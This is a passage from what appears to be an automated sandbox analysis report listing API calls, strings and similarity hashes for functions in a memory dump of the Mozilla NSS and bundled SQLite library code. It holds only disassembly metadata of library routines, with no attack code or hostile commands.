sqlite3_mprintf.NSS3(snippet), ref: 6CB6EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CB6EFE4

Part of subcall function 6CC2DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CB05001,?,00000003,00000000), ref: 6CC2DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CB6F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CB6F129
sqlite3_mprintf.NSS3(optimize), ref: 6CB6F1D1
sqlite3_free.NSS3(?), ref: 6CB6F368

Strings

offsets, xrefs: 6CB6EFAF, 6CB6EFDF, 6CB6F01F
unicode61, xrefs: 6CB6EDB5
fts3, xrefs: 6CB6F247
porter, xrefs: 6CB6ED97
simple, xrefs: 6CB6ED79
snippet, xrefs: 6CB6EF05, 6CB6EF37, 6CB6EF7C
fts3tokenize, xrefs: 6CB6F30F
fts4, xrefs: 6CB6F2AD
fts4aux, xrefs: 6CB6ECF9
fts3_tokenizer, xrefs: 6CB6EE1A, 6CB6EEA8
optimize, xrefs: 6CB6F199, 6CB6F1CC, 6CB6F211
matchinfo, xrefs: 6CB6F04F, 6CB6F082, 6CB6F0C2, 6CB6F0F2, 6CB6F124, 6CB6F169

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 9e41b65d16e1627c0c2b5168759d34ae594f5089f57085b7356c0703305fb570
Instruction ID: 03a2266411d00fa63874b5998be5fcde048ee37a96cc1c91b0aba5777f8edd40
Opcode Fuzzy Hash: 9e41b65d16e1627c0c2b5168759d34ae594f5089f57085b7356c0703305fb570
Instruction Fuzzy Hash: 6A02BFB2B043814BE704AF62D88572F77B6ABC5708F14893CD85A97F00EB74E946C792

Function 6CBE7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CBE7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CBE7D1E

Part of subcall function 6CBE7870: SECOID_FindOID_Util.NSS3(?,?,?,6CBE91C5), ref: 6CBE788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBE7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CBE7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CBE7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBE7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CBE7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CBE7E58

Part of subcall function 6CBE7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBE91C5), ref: 6CBE78BB
Part of subcall function 6CBE7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CBE91C5), ref: 6CBE78FA
Part of subcall function 6CBE7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CBE91C5), ref: 6CBE7930
Part of subcall function 6CBE7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBE91C5), ref: 6CBE7951
Part of subcall function 6CBE7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBE7964
Part of subcall function 6CBE7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CBE797A
Part of subcall function 6CBE7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CBE7988
Part of subcall function 6CBE7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CBE7998
Part of subcall function 6CBE7870: free.MOZGLUE(00000000), ref: 6CBE79A7
Part of subcall function 6CBE7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CBE91C5), ref: 6CBE79BB
Part of subcall function 6CBE7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CBE91C5), ref: 6CBE79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBE7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBE7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CBE7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBE7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CBE7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CBE8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CBE8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CBE8093
SECOID_FindOID_Util.NSS3 ref: 6CBE7F29

Part of subcall function 6CBE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB88298,?,?,?,6CB7FCE5,?), ref: 6CBE07BF
Part of subcall function 6CBE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBE07E6
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE081B
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CBE8072
SECOID_FindOID_Util.NSS3 ref: 6CBE80F5

Part of subcall function 6CBEBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CBE800A,00000000,?,00000000,?), ref: 6CBEBC3F

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: b022cf199161edf6473541351de3d38a6c00d3a20e8f561d9514ae2269405c4b
Instruction ID: 07b583774a3ce3a136505cdaae9d461dc5ef376a63c6ff8352ff0a7d0f906c4f
Opcode Fuzzy Hash: b022cf199161edf6473541351de3d38a6c00d3a20e8f561d9514ae2269405c4b
Instruction Fuzzy Hash: A3E1A5716087809FD710CF28D840B5A77E9EF48B88F14496DE885ABB52E772EC05CB93

Function 6CB71C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CB71C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CB71C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CB71CA1
GetLengthSid.ADVAPI32(?), ref: 6CB71CA9
malloc.MOZGLUE(00000000), ref: 6CB71CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CB71CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CB71CE4
GetLengthSid.ADVAPI32(?), ref: 6CB71CEC
malloc.MOZGLUE(00000000), ref: 6CB71CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CB71D0F
CloseHandle.KERNEL32(?), ref: 6CB71D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CB71D4D
GetLastError.KERNEL32 ref: 6CB71D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CB71D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CB71D7A

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 2b9d226104424f90f827f837f9e29e56fa77fa8b0da2bb24c03d9052baf2f194
Instruction ID: 9220144229437230a09c8f7a67d6b79bdaf755c0cd59496b2198aa1d5a5bfd22
Opcode Fuzzy Hash: 2b9d226104424f90f827f837f9e29e56fa77fa8b0da2bb24c03d9052baf2f194
Instruction Fuzzy Hash: 833166B5A00218AFDF10DF64CD48BAA7BB8FF4A345F0441A5FA09D2151EB30A9D4CF65

Function 6CB73D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB73DFB
__allrem.LIBCMT ref: 6CB73EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB73FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CB74047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB740DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB7415F
__allrem.LIBCMT ref: 6CB7416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB74288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB742AB
__allrem.LIBCMT ref: 6CB742B7

Strings

%04d, xrefs: 6CB7407B
%03d, xrefs: 6CB742E8
%02d, xrefs: 6CB74086
%lld, xrefs: 6CB73FB2

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 92f998e7d26b0db359ad1ad05e9eb35e940ff1c9a8f648a062e11cc79623cd1d
Instruction ID: d3e347693b1137bd94c14e7c9724d31305f31c18b202a75d12f1716ccacb9ecf
Opcode Fuzzy Hash: 92f998e7d26b0db359ad1ad05e9eb35e940ff1c9a8f648a062e11cc79623cd1d
Instruction Fuzzy Hash: FCF1F271A087809FD725CF38C841A6BB7FAEF85344F148A2DF8A597A51E730D8458F52

Function 6CB7EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB7EF63

Part of subcall function 6CB887D0: PORT_NewArena_Util.NSS3(00000800,6CB7EF74,00000000), ref: 6CB887E8
Part of subcall function 6CB887D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CB7EF74,00000000), ref: 6CB887FD
Part of subcall function 6CB887D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB8884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CB7F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB7F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CB7F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CB7F374
PL_strcasecmp.NSS3(6CCC2FD4,?), ref: 6CB7F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CB7F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CB7F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CB7F67D
CERT_DestroyName.NSS3(?), ref: 6CB7F68B

Part of subcall function 6CB88320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CB88338
Part of subcall function 6CB88320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CB88364
Part of subcall function 6CB88320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CB8838E
Part of subcall function 6CB88320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB883A5
Part of subcall function 6CB88320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB883E3

Part of subcall function 6CB884C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CB884D9
Part of subcall function 6CB884C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB88528

Part of subcall function 6CB88900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CB88955

Strings

oid., xrefs: 6CB7F2CF
*, xrefs: 6CB7F3C6
", xrefs: 6CB7F21B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 86143f416368119e573de195758a62c7d14e95e87bf59fa960e491245656f06a
Instruction ID: 927f00ba21acc73d630c8ac3945bf2ffad8e08e2d90631bfed33a62a038cc490
Opcode Fuzzy Hash: 86143f416368119e573de195758a62c7d14e95e87bf59fa960e491245656f06a
Instruction Fuzzy Hash: F722077160C3C18BD724CE68C49076AB7E6EB85318F184A2EECA587B91E731DC45C76B

Function 6CB21C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB21D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB21EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CB21FB7

Strings

another row available, xrefs: 6CB22287
unknown error, xrefs: 6CB22291
sqlite_master, xrefs: 6CB21C61
table, xrefs: 6CB21C8B
abort due to ROLLBACK, xrefs: 6CB22223
no more rows available, xrefs: 6CB22264
unsupported file format, xrefs: 6CB22188
sqlite_temp_master, xrefs: 6CB21C5C
attached databases must use the same text encoding as main database, xrefs: 6CB220CA
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CB21F83

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 268d6273c6d8afe2a3ee2e020282db9f3480041b8e20147087f97ccfe4d304d7
Instruction ID: f55b2702382d53ddf87aca56ab60184d2157bd96a33f4282fc9dbb029a683a87
Opcode Fuzzy Hash: 268d6273c6d8afe2a3ee2e020282db9f3480041b8e20147087f97ccfe4d304d7
Instruction Fuzzy Hash: FF129E706083818FD715CF19C484A6AB7E2FF85328F18895DE8999BB51D736EC46CB83

Function 6CB45F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

BINARY, xrefs: 6CB48708, 6CB48737, 6CB487B8
-, xrefs: 6CB46228
u, xrefs: 6CB481DA
-, xrefs: 6CB462F9
sub-select returns %d columns - expected %d, xrefs: 6CB4805F
NOCASE, xrefs: 6CB48703
2, xrefs: 6CB465B4
ON clause references tables to its right, xrefs: 6CB46BEC

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 735d6e8a5cc5768d86b71f7a78a0c4532bb2678167dce94034bfef555f8ea419
Instruction ID: 44461efe709bc4dc91ecaf6077540ace8afda0bb0834e89bfc6f5ee8a5fabebf
Opcode Fuzzy Hash: 735d6e8a5cc5768d86b71f7a78a0c4532bb2678167dce94034bfef555f8ea419
Instruction Fuzzy Hash: 11439174A0C3818FD704CF18C490A5AB7E2FF89318F14C66DE8999B75AD771E846DB82

Function 6CBEEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBEC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CBEDAE2,?), ref: 6CBEC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBEF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBEF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CBEF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBEF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CCB218C), ref: 6CBEF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CBEF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBEF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CBEF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CBEF210

Part of subcall function 6CB952D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CBEF1E9,?,00000000,?,?), ref: 6CB952F5
Part of subcall function 6CB952D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CB9530F
Part of subcall function 6CB952D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CB95326
Part of subcall function 6CB952D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CBEF1E9,?,00000000,?,?), ref: 6CB95340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBEF227

Part of subcall function 6CBDFAB0: free.MOZGLUE(?,-00000001,?,?,6CB7F673,00000000,00000000), ref: 6CBDFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CBEF23E

Part of subcall function 6CBDBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB8E708,00000000,00000000,00000004,00000000), ref: 6CBDBE6A
Part of subcall function 6CBDBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB904DC,?), ref: 6CBDBE7E
Part of subcall function 6CBDBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBDBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBEF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CBEF3A8

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CBEF3B3

Part of subcall function 6CB92D20: PK11_DestroyObject.NSS3(?,?), ref: 6CB92D3C
Part of subcall function 6CB92D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB92D5F

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 746adca5b2d4e05a74665fb0ce724a4b490bb123cea971e5683be9588a83b91f
Instruction ID: c23aee10fab28407ffda44fee9011579a35d3a7c4ee1fcdb3c8f56aa9aa1beae
Opcode Fuzzy Hash: 746adca5b2d4e05a74665fb0ce724a4b490bb123cea971e5683be9588a83b91f
Instruction Fuzzy Hash: 97D1AEB6E016459FEB10CFA9E880A9EB7F5EF4C788F158029E815A7711EB31EC05CB51

Function 6CC1DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CBF7FFA,00000000,?,6CC223B9,00000002,00000000,?,6CBF7FFA,00000002), ref: 6CC1DE33

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

Part of subcall function 6CC1D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CC1DE74,6CBF7FFA,00000002,?,?,?,?,?,00000000,6CBF7FFA,00000000,?,6CC223B9,00000002), ref: 6CC1D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CBF7FFA,00000000,?,6CC223B9,00000002,00000000,?,6CBF7FFA,00000002), ref: 6CC1DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CC1DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC1E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC1E121
PK11_FreeSymKey.NSS3(?), ref: 6CC1E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CC1E195
PR_GetCurrentThread.NSS3 ref: 6CC1E1FC

Part of subcall function 6CC12460: PR_SetError.NSS3(FFFFE005,00000000,6CCB7379,00000002,?), ref: 6CC12493

Strings

early application data, xrefs: 6CC1DFC9
application data, xrefs: 6CC1DFE0
handshake data, xrefs: 6CC1DFF7
key, xrefs: 6CC1E046

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 0631c645a33b19728a5455822e085ba2b2330b20a340fab9950c8d5f7f204056
Instruction ID: dd8a1ce1eb380aaa802d4c273dd462e5dd6ad387652e93da48deee65f0e0aaa7
Opcode Fuzzy Hash: 0631c645a33b19728a5455822e085ba2b2330b20a340fab9950c8d5f7f204056
Instruction Fuzzy Hash: AAC11671A042159FDB04CF66CC84BAAB7B4FF09318F148128E909EBE51F331E955DBA1

Function 6CB0ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

